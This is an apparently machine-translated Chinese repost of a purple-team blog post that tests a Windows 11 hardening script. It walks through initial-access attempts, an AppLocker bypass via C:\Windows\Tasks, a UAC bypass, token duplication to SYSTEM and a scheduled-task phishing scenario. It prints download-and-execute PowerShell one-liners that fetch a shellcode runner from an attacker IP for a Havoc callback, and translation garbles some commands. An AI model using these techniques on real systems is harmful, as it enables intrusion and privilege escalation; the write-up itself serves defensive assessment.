挑战强化的 Windows 系统

admin 2024年10月28日14:06:15评论12 views字数 5810阅读19分22秒阅读模式
挑战强化的 Windows 系统挑战强化的 Windows 系统

警告:这篇文章已被自始至终用于强化系统的脚本的作者视为错误信息。只有一个人可以确定服务器是否被强化,那就是本文中使用的脚本的作者。没有其他人可以声称一个系统已经固化,接受那个人。

如果您想要真正强化的 Windows 系统,则必须使用 PowerShell 库中的 WDAC 配置。

您可以在此处找到:

WDACConfig 0.3.4

这是用于 WDAC(Windows Defender 应用程序控制)的高级 PowerShell 模块,可自动执行许多任务。

www.powershellgallery.com

这不包含在脚本中,必须单独应用。我认为这是一个基于我在 repo 上看到的多合一脚本:

挑战强化的 Windows 系统挑战强化的 Windows 系统

如果您只使用上面的 PowerShell oneliner,即使您放置的参数比标准 Windows 11 安装上的默认值更多,您也没有“强化”系统。

是的,即使您使系统上远程执行变得更加困难,但它并不是一个强化的系统。不要混淆!更难并不意味着更坚硬。

移开你的眼睛!

挑战强化的 Windows 系统挑战强化的 Windows 系统

此外,如果您想证明您可以绕过这些参数,则必须从标准用户帐户完成。使用来自中等完整性信标的管理员帐户将在整个互联网上触发嘘嘘声和嘶嘶声。

剧透,我在未加入域的 Windows 11 实例上使用本地管理员帐户。你知道的,就像你家里可能有的电脑一样。不过这是作弊。

所以,既然您已经了解情况并且可以有意识地决定如何花费您的时间,这里有一些信息安全宣传。

_________________________________________________________________

我们回来了!今天,我们将使用一个已完全更新的强化 Windows 11 实例。

这不是一个加入域的系统,只是一个独立的 Windows 11 实例。这些攻击可能与加入域的系统有很大不同,因此在我们进行此操作时请记住这一点。在以后的文章中,我可能会对整个域执行此操作,但让我们不要超前于我们自己..

此外,我们并不真正关心 OPSEC,因为我们只是试图在配置覆盖率中寻找盲点。这将是一种单独的紫色团队练习,具有对盒子的 GUI 访问权限。

在过去的几个月里,这个强化脚本已经被推荐给我好几次了,所以我很高兴看看我是否能用我的任何 skiddy 技术来克服它。

这是脚本:

https://github.com/HotCakeX/Harden-Windows-Security

如果您想继续操作,请启动一个完全更新的 Windows 11 VM。为了使其正常工作,您需要安装 Powershell 7。

最简单的方法是使用 winget。这是有关安装 Powershell 7 的 Microsoft 文档。

挑战强化的 Windows 系统挑战强化的 Windows 系统

安装后,您只需从存储库运行安装脚本即可。

IRM https://raw.githubusercontent.com/HotCakeX/Harden-Windows-Security/main/Harden-Windows-Security.ps1 |IEX

该脚本需要安全启动。在 VMware Fusion 中实现这一点非常简单。对我来说,我只是转到 VM 的 Advanced Settings(高级设置)并单击该框。

挑战强化的 Windows 系统挑战强化的 Windows 系统

一切就绪后,我们来了!如您所见,有大量 LGPO 需要安装,包括 Bitlocker、Credential Guard 和 Defender。

挑战强化的 Windows 系统挑战强化的 Windows 系统

稍后在脚本中,我们得到了一些 M365 LGPO。

挑战强化的 Windows 系统挑战强化的 Windows 系统

Defender 类别会更新以根据阻止的驱动程序列表阻止驱动程序,我们可以将 Defender 置于测试阶段(无论这意味着什么)。实验性的?我们还可以使用一些预先确定的攻击面减少规则。

挑战强化的 Windows 系统挑战强化的 Windows 系统

这是一件很糟糕的事情。我们使用 UAC 启用 always-notify。

挑战强化的 Windows 系统挑战强化的 Windows 系统

还有另一个类别会很受伤。

挑战强化的 Windows 系统挑战强化的 Windows 系统

之后是防火墙、网络和其他类别,然后是 Edge 配置和证书检查。

挑战强化的 Windows 系统挑战强化的 Windows 系统

然后是 IP 阻止。

挑战强化的 Windows 系统挑战强化的 Windows 系统

最后下载防御。

挑战强化的 Windows 系统挑战强化的 Windows 系统

我们将更改一个额外的设置。使用此脚本,自动样品提交将打开为“始终提交”。

挑战强化的 Windows 系统挑战强化的 Windows 系统

让我们关闭此功能,这样我们的恶意软件就不会自动提交给 Microsoft。

挑战强化的 Windows 系统挑战强化的 Windows 系统

现在,在本地组策略编辑器中编辑了它,我们就可以开始了。

挑战强化的 Windows 系统挑战强化的 Windows 系统

让我们重新启动并开始吧!

初始访问

因此,我们将首先看看如何(如果)在目标上获得初始执行。我们首先要做的就是通过浏览器下载的常规 EXE。

我用我的 Harriet 工具创建了一个 EXE。

挑战强化的 Windows 系统挑战强化的 Windows 系统

并尝试下载它。

挑战强化的 Windows 系统挑战强化的 Windows 系统

如您所见,它下载正常。但在执行时,它被阻止了。

挑战强化的 Windows 系统挑战强化的 Windows 系统

大老流氓。但这很好。即使使用像 Harriet 这样的规避加载程序,EXE 仍然被阻止,因为它不是 Microsoft 签名的二进制文件。

如果我们尝试用证书来欺骗它呢?

这里我们有一个Microsoft签名的二进制文件 OfficeSetup.exe。

挑战强化的 Windows 系统挑战强化的 Windows 系统

它具有有效的 Microsoft 签名。

挑战强化的 Windows 系统挑战强化的 Windows 系统

因此,让我们使用 SigTheif,看看我们是否能绕过这个障碍。我使用假 Microsoft 证书签署了我的APCTest.exe。

挑战强化的 Windows 系统挑战强化的 Windows 系统

并尝试重新下载二进制文件。

挑战强化的 Windows 系统挑战强化的 Windows 系统

它下载得很好。

挑战强化的 Windows 系统挑战强化的 Windows 系统

但是执行呢?

挑战强化的 Windows 系统挑战强化的 Windows 系统

又被封禁了!无赖。看起来我们不会让无符号的二进制文件超过安全参数。

那么有哪些选择呢?我们已经知道 M365 将被锁定,因此我们将回避这一点。

让我们走老派。批处理怎么样?

由于 Powershell 是 Microsoft 签名的二进制文件,因此我们应该能够从 bat 文件启动它。这是我们的高速批处理代码。

@echo 关闭
powershell.exe

井。。。它下载了。

挑战强化的 Windows 系统挑战强化的 Windows 系统

它会启动 PowerShell 吗?

挑战强化的 Windows 系统挑战强化的 Windows 系统

哇,真的吗?此时,我并不真正理解为什么它允许执行甚至下载蝙蝠文件。

我返回到强化脚本并检查与 AppLocker 有关的任何内容。这是我发现的。

挑战强化的 Windows 系统挑战强化的 Windows 系统

因此,我们有一系列策略来阻止子进程和 Java/VBScript,但没有真正与应用程序文件类型(如 bat)相关的策略。

我直接转到 VM 上的 AppLocker 并找到了这个。未配置任何内容。它根本没有被利用。

挑战强化的 Windows 系统挑战强化的 Windows 系统

Microsoft自己的 Windows Defender 应用程序控制文档提供了一些块,但不如右侧的 AppLocker 规则全面,后者会阻止.bat文件。

挑战强化的 Windows 系统挑战强化的 Windows 系统

在这一点上,我真的很困惑。因此,我运行了脚本提供的合规性命令。

挑战强化的 Windows 系统挑战强化的 Windows 系统

正如你所看到的,我只运行了 261 条规则中的 256 条。我错过了什么?第一个是 OS Drive 加密。没什么大不了的,因为驱动器实际上是加密的,所以我不确定为什么它没有出现在这里。无论如何,这不会影响我们的测试,因为我们没有进行任何类型的热插拔测试。

挑战强化的 Windows 系统挑战强化的 Windows 系统

另一个不合规的是样本提交。不过,我们有意关闭了它。最后几条规则与 Smart App Control 有关。

挑战强化的 Windows 系统挑战强化的 Windows 系统

好吧,也许这与我可以执行从 Internet 下载的 bat 文件有关?让我们打开它。

挑战强化的 Windows 系统挑战强化的 Windows 系统

事实证明,一旦它关闭,你就不能了。重新打开它的唯一方法是重新安装 Windows。所以让我们开始吧!

挑战强化的 Windows 系统挑战强化的 Windows 系统

重新安装 Windows 11 并打开智能应用控制并更新所有内容后,我们重新运行脚本。

现在我们达到了 261 人中的 259 人。

挑战强化的 Windows 系统挑战强化的 Windows 系统

请记住,它没有注册加密的硬盘驱动器,因此我们关闭了样本提交。所以我们应该很高兴!

让我们看看我们现在是否可以下载相同的 bat 文件。

现在这更像它了!

挑战强化的 Windows 系统挑战强化的 Windows 系统

所以蝙蝠出局了。VB脚本?

挑战强化的 Windows 系统挑战强化的 Windows 系统

它甚至没有考虑这一点。那么我们还剩下什么呢?久经考验的 LNK 文件怎么样?

挑战强化的 Windows 系统挑战强化的 Windows 系统
挑战强化的 Windows 系统挑战强化的 Windows 系统

封锁。相当令人印象深刻。

回顾一下我尝试过的情况,来自 Internet 的 BAT、LNK 和 VBS 脚本(无论是否容器化)都被阻止了。这种活动可以摆脱传统的网络钓鱼活动。

但是,嘿,我们都见过用户做一些疯狂的事情。那么,如果 BAT、LNK 和 VBS 被 Internet 阻止,如果我们尝试本地创建的文件怎么办?一封狡猾的网络钓鱼电子邮件可能会为我们构建攻击。

挑战强化的 Windows 系统挑战强化的 Windows 系统

这是我刚刚创建的 hackery bat 文件。你看,它启动了 Powershell。

挑战强化的 Windows 系统挑战强化的 Windows 系统

但那怎么可能呢?我以为 BAT 文件被一起阻止了。让我们看一下 AppLocker。

挑战强化的 Windows 系统挑战强化的 Windows 系统

AppLocker 规则仍未启用。奇怪。让我们打开默认规则并再次尝试此操作。强制实施 AppLocker 规则后,我们无法启动 BAT 文件。

那么,这给我们留下了什么呢?好吧,我们仍然有 PowerShell 执行。但这只适用于管理员吗?让我们构建一个常规用户,看看我们能做什么。

挑战强化的 Windows 系统挑战强化的 Windows 系统

这是我们的用户 Danny。让我们注销并以他身份登录。当我们这样做时,我们能够启动 PowerShell,因此这不仅限于管理员。

挑战强化的 Windows 系统挑战强化的 Windows 系统

由于我们已经知道作为普通用户我们没有升级路径,因此我们将以 admin 身份重新登录。由于所有用户都可以访问 PowerShell,因此我们将从此开始。

我有一个很好的 PowerShell shellcode 运行程序,所以我们看看我们是否可以执行 Havoc 和回调。

挑战强化的 Windows 系统挑战强化的 Windows 系统

呃哦。看起来我们已经启用了 Constrained Language Mode。

挑战强化的 Windows 系统挑战强化的 Windows 系统

该死的 AppLocker 规则!好的,我们可以弄清楚。我们已经知道强化脚本删除了 PowerShell 版本 2,因此没有降级。

让我们再看一下那些 AppLocker 标尺。

挑战强化的 Windows 系统挑战强化的 Windows 系统

看起来每个人都可以从 C:Windows 文件夹运行脚本。我们只需要找到一个子目录来存放我们的脚本文件。

C:WindowsTasks 是可写的。让我们试试看。

挑战强化的 Windows 系统挑战强化的 Windows 系统

因此,我们能够下载我们的脚本,即使我们仍然处于 CLM 中,我们也能够执行我们的 shellcode 运行程序。这导致了对 Havoc 的回调。

挑战强化的 Windows 系统挑战强化的 Windows 系统

我想,如果我们愿意,我们可以发送一封非常有说服力的电子邮件,并借口打开 PowerShell 窗口并粘贴此单行代码。

cd C:WindowsTasks;curl -o runner.ps1 http://192.168.1.29:9090/runner.md;PowerShell -exec 绕过 .runner.ps1

这似乎是一个遥远的机会,但是,嘿,我们有一个回调!

权限提升

我们的权限提升向量将是非常熟悉的东西,即 UAC 旁路。通常,我会使用我自己的名为 HighBorn 的工具来运行 DLL 搜索顺序劫持,并以高度完整性调用 EXE。既然我们不能使用 EXE,我们就得稍微改变一下。

我在工具中设置了我的 IP 并进行了编译。

挑战强化的 Windows 系统挑战强化的 Windows 系统
挑战强化的 Windows 系统挑战强化的 Windows 系统

然后我将我的 oneliner 转换为 base64。

挑战强化的 Windows 系统挑战强化的 Windows 系统

然后将其作为提升的命令放入我们将成为 Dll 劫持的secur32.dll文件中。然后我编译,我们准备好运行我们的旁路。

挑战强化的 Windows 系统挑战强化的 Windows 系统

所以我运行旁路。

挑战强化的 Windows 系统挑战强化的 Windows 系统

但请记住,UAC 设置为始终通知。所以在主机上,我们看到了这一点。

挑战强化的 Windows 系统挑战强化的 Windows 系统

我单击 Yes(是),然后我们有了管理员级别的 shell。

挑战强化的 Windows 系统挑战强化的 Windows 系统

不是最顺利的 UAC 旁路,但我们做到了。当然,这取决于用户单击“yes”,但是,执行并没有被阻止。

获取系统

获取系统实际上相当简单。多亏了 Twitter 上的@icyguider,几天前我得以将令牌复制器从 C 转换为 C# 来帮助解决这个问题。

该令牌复制器可以在此处找到:

GitHub - assume-breach/Helpful-Scripts:我发现对日常任务有帮助的脚本存储库。

我发现对日常任务有帮助的脚本存储库。通过创建...

github.com

我们只需将该工具与完全相同的 Powershell 命令一起使用即可。

dotnet inline-execute /web/token.exe -p C:Windowssystem32WindowsPowerShellv1.0powershell.exe -a “cd C:WindowsTasks;curl -o runner.ps1 http://192.168.1.29:9090/runner.md;PowerShell -exec 绕过 .runner.ps1”

我们得到了我们的系统 shell!

挑战强化的 Windows 系统挑战强化的 Windows 系统

现实的场景

再看一些向量,我还发现任务调度并没有被阻塞。

这是我之前使用 PowerShell oneliner 创建的 xml 任务。

挑战强化的 Windows 系统挑战强化的 Windows 系统

虽然并不理想,但我会给你一个现实的场景,可以在现实世界的社会工程活动中使用。假设我是用户。我接到我的“IT 部门”的电话,他们告诉我,无论出于何种原因,他们都无法向我的计算机发送更新。

我说,“哦,不!我该怎么办?他们说“冷静下来。我们抓住你了“,然后他们开始给我指示。

他们告诉我,我会收到一封电子邮件,其中包含一个 zip 文件的链接。我收到电子邮件并打开指向 zip 的链接。

挑战强化的 Windows 系统挑战强化的 Windows 系统

凉。他们告诉我解压缩它,然后打开 Task Scheduler。

挑战强化的 Windows 系统挑战强化的 Windows 系统
挑战强化的 Windows 系统挑战强化的 Windows 系统

然后他们说,好的,现在我们要导入这个任务,这样就可以每天执行更新了。我说:“耶!太棒了!

因此,我右键单击 Task Schedule Library(任务计划库),然后单击 Import(导入)。然后,我导入之前下载的 ComputerUpdate.xml 文件。

挑战强化的 Windows 系统挑战强化的 Windows 系统

如您所见,用户名很奇怪。这是因为我不知道他们在这个网络钓鱼中的域用户名。所以我告诉他们单击 Change User or Group(更改用户或组)并输入他们的用户名。然后单击“检查名称”,然后单击“确定”。

挑战强化的 Windows 系统挑战强化的 Windows 系统

现在我们的任务已经确定。如果我们运行它,我们会收到对 Havoc 的回调。

挑战强化的 Windows 系统挑战强化的 Windows 系统

总结

为了总结这个脚本的防御措施,我们看到了一些很棒的策略。在下载时阻止 EXE 很好。在来自 Internet 的程序中阻止某些脚本语言也是压缩某些初始访问向量的好方法。

但是,如果没有 AppLocker 规则,即使有 Smart App Control,精心放置的 PowerShell oneliner 也很容易导致信标回到 C2。

在 UAC 上始终通知是一种很好的做法,但攻击者也可以一个接一个地发送请求,直到他们取回管理员 shell。这是绕过 MFA 的常用方法,因此可以合理地认为它可以在绕过 UAC 中实现。

这个剧本似乎有点矫枉过正,即使对于企业环境也是如此。如果这是 sysadmin 或开发工作站,则必须进行例外处理。如果实施不当,这些例外情况可能会导致更多的漏洞和更多的漏洞利用。

可能有更多方法可以绕过防御。一旦加入域,这些向量就会打开。我敢肯定,这里有一些 Kerberos 漏洞会大有帮助。我也很好奇这个脚本会如何影响域控制器的可操作性。

我确实看到它将 Defender 每月更新频道更改为 beta 模式。通过更多的研究,我能够发现 Defender 的 beta 频道在恶意软件的新闻签名中变得很热门。好吧,这挺酷的。因此,它可能比 patch Tuesday 的更新更快地捕获签名恶意软件。

总而言之,我认为这是强化 Windows 系统的好方法。在某些用例中,需要有例外才能提高工作效率,并且还应设置 Applocker 规则。

当然,有一些方法可以绕过规则,但这会让攻击者的事情变得更加困难。

原文始发于微信公众号(安全狗的自我修养):挑战强化的 Windows 系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月28日14:06:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   挑战强化的 Windows 系统https://cn-sec.com/archives/3317070.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息